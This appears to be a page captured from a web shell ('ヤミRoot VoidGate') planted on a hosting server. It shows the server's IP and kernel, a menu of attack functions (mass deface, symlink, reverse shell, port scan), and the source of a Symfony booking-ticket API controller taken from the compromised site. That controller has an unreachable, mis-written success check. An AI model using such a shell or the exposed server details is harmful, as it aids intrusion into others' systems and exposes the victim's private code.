ヤミRoot VoidGate
User / IP
:
216.73.216.137
Host / Server
:
146.88.233.70 / dev.loger.cm
System
:
Linux hybrid1120.fr.ns.planethoster.net 3.10.0-957.21.2.el7.x86_64 #1 SMP Wed Jun 5 14:26:44 UTC 2019 x86_64
Command
|
Upload
|
Create
Mass Deface
|
Jumping
|
Symlink
|
Reverse Shell
Ping
|
Port Scan
|
DNS Lookup
|
Whois
|
Header
|
cURL
:
/
home
/
itrave
/
api
/
src
/
AppBundle
/
Controller
/
Api
/
Viewing: BookingTicketController.php
<?php namespace AppBundle\Controller\Api; use FOS\RestBundle\Controller\FOSRestController; use Symfony\Component\HttpFoundation\Request; use Symfony\Component\HttpFoundation\Response; use Symfony\Component\HttpFoundation\JsonResponse; use FOS\RestBundle\Controller\Annotations as Rest; use Sensio\Bundle\FrameworkExtraBundle\Configuration\ParamConverter; use Sensio\Bundle\FrameworkExtraBundle\Configuration\Security; use Nelmio\ApiDocBundle\Annotation as Doc; use AppBundle\Entity\Ticket; use AppBundle\Entity\Booking; use AppBundle\Entity\Staff; use AppBundle\Form\BookingType; class BookingTicketController extends FOSRestController { /** * Get the ticket related to a booking * @param integer $bookingId The id of the booking * * @Rest\Get("/bookings/{bookingId}/ticket-show") * @Rest\View( * statusCode = Response::HTTP_OK, * SerializerGroups = {"LIST", "TICKET_DETAILS"} * ) * @Doc\ApiDoc( * section="Ticket", * resource=true, * description="Get the ticket related to a booking.", * ) */ public function showAction(Booking $booking) { return $booking->getTicket(); } /** * Sign the ticket related to a booking (Operator and Controller only) * @param integer $bookingId The id of the booking * @Rest\Post("/bookings/{bookingId}/ticket-sign") * @Rest\View( * statusCode = Response::HTTP_OK * ) * @Security("has_role('ROLE_CONTROLLER') or has_role('ROLE_OPERATOR')") * @Doc\ApiDoc( * section="Ticket", * resource=true, * description="Sign the ticket related to a booking.(Operator and Controller only)", * ) */ public function signTicketAction(Booking $booking) { $staff = $this->get('security.token_storage')->getToken()->getUser(); $ticket = $booking->getTicket(); $ticketManager = $this->get('ticket_manager'); $result = $ticketManager->signTicketByStaff($ticket, $staff); return $result; if($result = true) return new JsonResponse([ 'code'=> 200, 'message' => 'Ticket has been signed.' ], 200); else return $result; } }
Coded With 💗 by
0x6ick